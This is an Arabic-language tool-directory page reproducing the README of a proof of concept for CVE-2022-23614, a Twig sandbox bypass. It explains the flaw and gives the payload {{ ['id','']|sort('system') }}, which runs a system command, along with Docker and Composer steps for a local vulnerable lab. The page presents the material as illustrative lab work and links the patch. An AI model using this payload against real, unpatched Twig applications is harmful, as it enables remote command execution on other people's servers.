Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-23614 — إثبات المفهوم لـ CVE-2022-23614 (حقن الأوامر في Twig) | Kitploit
أدوات/GitHubGitHub/4rtamis/cve-2022-23614
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالتعلم والتعليممختبرات وتدريب عملي
GitHub4rtamis/cve-2022-23614

CVE-2022-23614

إثبات المفهوم لـ CVE-2022-23614 (حقن الأوامر في Twig)

عرض المستودع
12منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-23614

برهان المفهوم (PoC) لـ CVE-2022-23614 المشار إليه في DSA-5107-1.

  • CVSS-2.0: 7.5
  • CVSS-3.X: 9.8

شرح

Twig هو محرك قوالب مرن وسريع وآمن لـ PHP. بشكل ملحوظ، من الممكن استخدام المرشحات في قالب قبل تقديمه. يمكن استخدام مرشح sort لفرز عناصر مصفوفة بالهيكل التالي:

root@kitploit:~
{{ [5,8,2,3]|sort('desc') }}

Twig يحتوي على وضع الصندوق الرمل (sandbox) لتقييم كود القوالب غير الموثوق. عند استخدام هذا الوضع، يجب أن يكون معامل arrow لمرشح sort إغلاقًا (closure) لتجنب قدرة المهاجمين على تشغيل دوال PHP عشوائية. في الإصدارات المتأثرة، لم يتم تطبيق هذا القيد بشكل صحيح ويمكن أن يؤدي إلى حقن كود PHP عشوائي.

root@kitploit:~
{{ ["id",""]|sort('system') }}

الاستخدام

يوضح هذا البرهان الثغرة في حالتين استخدام مختلفتين: إما باستخدام حزمة Debian (v2.14.1) أو باستخدام وحدة Composer (v2.14).

php-twig
twig/twig

يقوم ملف index.php بإنشاء قالب Twig بناءً على الوسيطة الأولى. في الكود التالي، argv[1] هو اسم دالة الفرز التي سيستخدمها Twig أثناء التقديم.

root@kitploit:~
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";

ثم سيستخدم index.php دالتين مهملتين من Twig لتحميل القالب المُنشأ. في النهاية، يستخدم الوسيطة الثانية (argv[2]) لتمرير البيانات إلى القالب أثناء تقديمه، ولا سيما مصفوفة args التي نريد فرزها.

root@kitploit:~
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);

ثم تتم طباعة القالب المُقدَّم في المخرجات القياسية.

يُرجى ملاحظة أن هذا المستودع أُنشئ لأغراض توضيحية فقط. وهو مصمم ليكون بسيطًا وسهل الفهم والاستخدام من أجل اللعب بـ CVE باستخدام واجهة سطر الأوامر فقط. وهو بعيد كل البعد عما يمكن العثور عليه في خادم ضعيف فعلي.

php-twig

باستخدام Docker، يمكننا إعادة إنشاء سياق نشرة الأمان Debian (DSA) الأصلية. يمكنك استخدام السكربت build-docker.sh المُعطى لبناء وتشغيل الحاوية الضعيفة بشكل صحيح.

root@kitploit:~
chmod a+x build-docker.sh
./build-docker.sh

يجب أن تغلق الحاوية بمجرد تنفيذ الحمولة (أمر id). إذا كنت تريد تجربة أوامرك الخاصة، يمكنك تشغيل الحاوية في الوضع التفاعلي:

root@kitploit:~
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash

بمجرد الدخول إلى الحاوية، يمكنك صياغة حمولتك الخاصة باستخدام النموذج التالي:

root@kitploit:~
php index.php system '{"args":["id",""]}'
                ^                 ^
          sorting function   array to sort

تم إنشاء هذا الدوكرفايل جزئيًا باستخدام DECRET.

Composer

إذا كان لديك php وComposer مثبتين بالفعل على جهازك، يمكنك نسخ الاستغلال باستخدام وحدة Composer الضعيفة.

root@kitploit:~
cd exploit
composer install

ثم عليك فقط اللعب بالحمولة.

root@kitploit:~
php index.php system '{"args":["id",""]}'

المراجع

تفاصيل CVE: https://nvd.nist.gov/vuln/detail/CVE-2022-23614

DSA: https://www.debian.org/security/2022/dsa-5107

تعهد التصحيح: https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9

PoC بواسطة davwwwx (باستخدام واجهة المستخدم الرسومية): https://github.com/davwwwx/CVE-2022-23614

تنزيل الأداة